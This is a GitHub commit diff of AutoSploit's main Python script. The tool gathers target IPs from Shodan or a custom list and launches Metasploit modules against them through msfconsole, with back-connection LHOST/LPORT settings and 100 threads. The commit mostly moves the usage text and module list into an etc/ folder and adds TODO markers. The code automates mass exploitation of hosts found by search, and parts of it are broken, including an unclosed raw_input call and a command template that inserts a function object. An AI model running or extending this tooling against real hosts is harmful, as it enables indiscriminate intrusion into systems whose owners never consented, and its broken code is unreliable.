Skip to content

Commit 4a149dd

Browse files
author
ekultek
committed
created some updates and moved the modules and usage into etc/ folder, also in the areas that are not ready for deployment created 'TODO:/' comments
1 parent 61a788d commit 4a149dd

3 files changed

Lines changed: 102 additions & 87 deletions

File tree

autosploit.py

Lines changed: 64 additions & 87 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,13 @@
11
#!/usr/bin/env python2.7
2-
"""Autosploit Core."""
2+
"""Autosploit Core, beta development version"""
33

44
import os, sys
55
import time
66
import pickle
77
import shodan
88

9-
from retrying import retry
9+
# idk if you're going to need this since retrying is a decorator (see line 410)
10+
# from retrying import retry
1011
from blessings import Terminal
1112
from subprocess import PIPE, Popen
1213

@@ -20,7 +21,13 @@
2021
local_host = ""
2122
configured = False
2223
toolbar_width = 60
23-
24+
usage_and_legal_path = "{}/etc/general".format(os.getcwd())
25+
modules_path = "{}/etc/modules.txt".format(os.getcwd())
26+
autosploit_opts = {
27+
1: "usage and legal", 2: "gather hosts", 3: "custom hosts",
28+
4: "add single host", 5: "view gathered hosts", 6: "exploit gathered hosts",
29+
7: "quit"
30+
}
2431

2532
def logo():
2633
"""Logo."""
@@ -36,48 +43,12 @@ def logo():
3643

3744
def usage():
3845
"""Usage & Legal."""
46+
global usage_and_legal_path
3947
print("\033[H\033[J") # Clear terminal
4048
logo()
41-
print("""
42-
+-----------------------------------------------------------------------+
43-
| AutoSploit General Usage and Information |
44-
+-----------------------------------------------------------------------+
45-
|As the name suggests AutoSploit attempts to automate the exploitation |
46-
|of remote hosts. Targets are collected by employing the Shodan.io API. |
47-
| |
48-
|The 'Gather Hosts' option will open a dialog from which you can |
49-
|enter platform specific search queries such as 'Apache' or 'IIS'. |
50-
|Upon doing so a list of candidates will be retrieved and saved to |
51-
|hosts.txt in the current working directory. |
52-
|As of version 1.4.9 an option to load a custom list of hosts has been |
53-
|included. |
54-
|After this operation has been completed the 'Exploit' option will |
55-
|go about the business of attempting to exploit these targets by |
56-
|running a range of Metasploit modules against them. |
57-
| |
58-
|Workspace, local host and local port for MSF facilitated |
59-
|back connections are configured through the dialog that comes up |
60-
|before the 'Exploit' module is started. |
61-
| |
62-
+------------------+----------------------------------------------------+
63-
| Option | Summary |
64-
+------------------+----------------------------------------------------+
65-
|1. Usage/Legal | Display this informational message & Disclaimer |
66-
|2. Gather Hosts | Query Shodan for a list of platform specific IPs. |
67-
|3. Custom Hosts | Load in a custom list of IPs/Rhosts |
68-
|4. Single Host | Add a single host to list and/or exploit directly |
69-
|4. View Hosts | Print gathered IPs/RHOSTS. |
70-
|5. Exploit | Configure MSF and Start exploiting gathered targets|
71-
|6. Quit | Exits AutoSploit. |
72-
+------------------+----------------------------------------------------+
73-
| Legal Disclaimer |
74-
+-----------------------------------------------------------------------+
75-
|Usage of AutoSploit for attacking targets without prior mutual consent |
76-
|is illegal. It is the end user's responsibility to obey all applicable |
77-
|local, state, and federal laws. Developers assume no liability and are |
78-
|not responsible for any misuse or damage caused by this program. |
79-
+-----------------------------------------------------------------------+
80-
""")
49+
with open(usage_and_legal_path) as info:
50+
print(info.read())
51+
8152

8253

8354
def cmdline(command):
@@ -99,56 +70,57 @@ def cmdline(command):
9970

10071
def exploit(query=None, single=None):
10172
"""Exploit component"""
102-
73+
10374
global workspace
10475
global local_port
10576
global local_host
77+
global modules_path
10678
print("\033[H\033[J") # Clear terminal
107-
79+
10880
logo()
10981

11082
sorted_modules = []
11183
all_modules = []
11284

11385
if query == None:
11486
rhosts = single
115-
87+
11688
print("\n[{}]Single target mode. All available modules will be run against provided RHOST.".format(t.green("+")))
11789
proceed = raw_input("[" + t.magenta("?") + "]Continue? [Y]es/[N]o: ").lower()
118-
90+
11991
if proceed == 'y':
12092
print("\n\n\n[{}]Loading modules...".format(t.green("+")))
12193
# Progress bar
12294
sys.stdout.write("[%s]" % (" " * toolbar_width))
12395
sys.stdout.flush()
12496
sys.stdout.write("\b" * (toolbar_width + 1))
125-
126-
with open("modules.txt", "rb") as infile:
97+
98+
with open(modules_path, "rb") as infile:
12799
for i in xrange(toolbar_width):
128-
time.sleep(0.1)
100+
time.sleep(0.1)
129101
for lines in infile:
130102
all_modules.append(lines)
131-
103+
132104
print("\n\n\n[{}]Done. Launching exploits.".format(t.green("+")))
133105
template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (workspace, local_host, local_port, rhosts, exploit)
134106
cmdline(template)
135-
107+
136108
elif proceed == 'n':
137109
print("[{}]Aborted. Returning to Main Menu".format(t.red("!")))
138-
110+
139111
else:
140112
print("[{}]Unhandled Option. Defaulting to Main Menu".format(t.red("!")))
141-
113+
142114
else:
143115
print("[{}]Sorting modules relevant to the specified platform.".format(t.green("+")))
144116
print("[{}]This may take a while...\n\n\n".format(t.green("+")))
145117

146118
# Progress bar
147119
sys.stdout.write("[%s]" % (" " * toolbar_width))
148-
sys.stdout.flush()
120+
sys.stdout.flush()
149121
sys.stdout.write("\b" * (toolbar_width + 1))
150122

151-
with open("modules.txt", "rb") as infile:
123+
with open(modules_path, "rb") as infile:
152124
for i in xrange(toolbar_width):
153125
time.sleep(0.1)
154126
for lines in infile:
@@ -185,7 +157,7 @@ def exploit(query=None, single=None):
185157
cmdline(template)
186158
else:
187159
print("[{}]Unhandled Option. Defaulting to Main Menu".format(t.red("!")))
188-
160+
189161

190162
def settings(single=None):
191163
"""Function to define Metasploit settings."""
@@ -237,14 +209,14 @@ def settings(single=None):
237209
# When we return to the main menu loop we will use it to check to see if we
238210
# can skip the config stage. When the exploit component is run a second time
239211
configured = True
240-
212+
241213
if single is not None:
242214
exploit(None, single)
243215
# TEST print
244216
print "De waarde van 'single' is" +repr(single)
245217
print 'we moete nu de exploit module in met de juiste waarde'
246218
# TEST print
247-
219+
248220
if not os.path.isfile("hosts.txt"):
249221
print("[{}]Warning. AutoSploit failed to detect host file.".format(t.red("!")))
250222
print("In order for the exploit module to work, a host file needs to be present.")
@@ -265,12 +237,13 @@ def targets(clobber=True):
265237
print("[{}]Please provide your platform specific search query.".format(t.green("+")))
266238
print("[{}]I.E. 'IIS' will return a list of IPs belonging to IIS servers.".format(t.green("+")))
267239

240+
# /TODO:
268241
while True:
269242
query = raw_input("\n<" + t.cyan("PLATFORM") + ">$ ")
270243

271244
if query == "":
272245
print("[{}]Query cannot be null.".format(t.red("!")))
273-
246+
274247
break
275248

276249

@@ -288,6 +261,7 @@ def targets(clobber=True):
288261
sys.stdout.flush()
289262
sys.stdout.write("\b" * (toolbar_width + 1))
290263

264+
# TODO:/
291265
if clobber:
292266
with open('hosts.txt', 'wb') as log:
293267
for i in xrange(toolbar_width):
@@ -305,6 +279,7 @@ def targets(clobber=True):
305279
print("\n\n\n[{}]Done.".format(t.green("+")))
306280
print("[{}]Host list saved to {}".format(t.green("+"), hostpath))
307281

282+
# TODO:/
308283
else:
309284
with open("hosts.txt", "ab") as log:
310285
for i in xrange(toolbar_width):
@@ -324,13 +299,16 @@ def targets(clobber=True):
324299

325300

326301

327-
def import_custom(clobber=True):
328-
"""Function to import custom host list."""
302+
# TODO:/
303+
def import_custom(clobber=True):
304+
"""
305+
Function to import custom host list.
306+
"""
329307
print("\033[H\033[J") # Clear terminal
330308
logo()
331-
309+
332310
custom_list = []
333-
311+
334312
print("[{}]Please provide a path to your custom host list.".format(t.green("+")))
335313
file_path = raw_input("\n[" + t.magenta("?") + "]Path to list: "
336314

@@ -342,7 +320,7 @@ def import_custom(clobber=True):
342320
except IOError as e:
343321
print("\n[{}]Critical. An IO error was raised.".format(t.red("!")))
344322
print("Please make sure to enter a valid path.")
345-
323+
346324
if clobber:
347325
print("[{}]Writing data to 'hosts.txt'...".format(t.green("+")))
348326
with open('hosts.txt', 'wb') as outfile:
@@ -351,10 +329,10 @@ def import_custom(clobber=True):
351329
outfile.write("\n")
352330

353331
hostpath = os.path.abspath("hosts.txt")
354-
332+
355333
print("\n\n\n[{}]Done.".format(t.green("+")))
356334
print("[{}]Host list saved to {}".format(t.green("+"), hostpath))
357-
335+
358336
else:
359337
print("[{}]Appending data to 'hosts.txt'...".format(t.green("+")))
360338

@@ -364,19 +342,20 @@ def import_custom(clobber=True):
364342
outfile.write("\n")
365343

366344
hostpath = os.path.abspath("hosts.txt")
367-
345+
368346
print("\n\n\n[{}]Done.".format(t.green("+")))
369347
print("[{}]Host list saved to {}".format(t.green("+"), hostpath))
370348

371349

372-
def single_target()
350+
def single_target():
351+
# TODO:/
373352
"""
374353
Add single target to host list or pass it to the exploit function directly
375354
to attempt to exploit it.
376355
"""
377356
print("\033[H\033[J") # Clear terminal
378357
logo()
379-
358+
380359
print("[{}]Please provide a single IPv4.".format(t.green("+")))
381360
IP = raw_input("[" + t.magenta("?") + "]IPv4 Address: ")
382361

@@ -387,9 +366,9 @@ def single_target()
387366
quartet3 = int(IP[0:IP.index('.')])
388367
IP = IP[IP.index('.')+1:]
389368
quartet4 = int(IP)
390-
369+
391370
IP = str(quartet1) + "." + str(quartet2) + "." + str(quartet3) + "." + str(quartet4)
392-
371+
393372
if quartet1 < 0 or quartet1 > 255:
394373
print("[{}]Critical. Invalid IPv4 address.".format(t.red("!")))
395374
elif quartet2 < 0 or quartet2 > 255:
@@ -403,33 +382,35 @@ def single_target()
403382
else:
404383
print("\n[{}]Host set to {}".format(t.green("+"), repr(hostpath)))
405384
time.sleep(1)
406-
385+
407386
print("\n\n[{}]Append the IP to the host file or pass to exploit module directly?.".format(t.green("+")))
408387
choice = raw_input("\n[" + t.magenta("?") + "]Append or Pass for immediate exploitation? [A/P]: ").lower()
409-
388+
410389
if choice == 'a':
411390
with open( "hosts.txt", "ab") as outfile:
412391
outfile.write(IP)
413-
392+
414393
hostpath = os.path.abspath("hosts.txt")
415394
print("[{}]Host added to {}".format(t.green("+"), hostpath))
416-
395+
417396
elif choice == 'p':
418397
if configured:
419398
exploit(None, IP)
420399
else:
421400
settings(IP)
422-
401+
423402
else:
424403
print("\n[{}]Unhandled Option.".format(t.red("!")))
425-
404+
426405

427406
def main():
428407
"""Main menu."""
429408
global query
430409
global configured
431410
global api
411+
global autosploit_opts
432412

413+
# TODO:/
433414
@retry(stop_max_attempt_number=3)
434415
def try_shodan():
435416
try:
@@ -449,12 +430,8 @@ def try_shodan():
449430
settings()
450431

451432
print("\n[{}]Welcome to AutoSploit. Please select an action.".format(t.green("+")))
452-
print("""
453-
454-
1. Usage/Legal 4. Add Single host 7. Quit
455-
2. Gather Hosts 5. View Hosts
456-
3. Custom Hosts 6. Exploit
457-
""")
433+
for i in autosploit_opts.keys():
434+
print("{}. {}".format(i, autosploit_opts[i].title()))
458435

459436
action = raw_input("\n<" + t.cyan("AUTOSPLOIT") + ">$ ")
460437

@@ -473,20 +450,20 @@ def try_shodan():
473450
targets(True)
474451
else:
475452
print("\n[{}]Unhandled Option.".format(t.red("!")))
476-
453+
477454
elif action == '3':
478455
if not os.path.isfile("hosts.txt"):
479456
import_custom(True)
480457
else:
481458
append = raw_input("\n[" + t.magenta("?") + "]Append hosts to file or overwrite? [A/O]: ").lower()
482-
459+
483460
if append == 'a':
484461
import_custom(False)
485462
elif append == 'o':
486463
import_custom(True)
487464
else:
488465
print("\n[{}]Unhandled Option.".format(t.red("!")))
489-
466+
490467
elif action == '4':
491468
single_target()
492469

0 commit comments

Comments
 (0)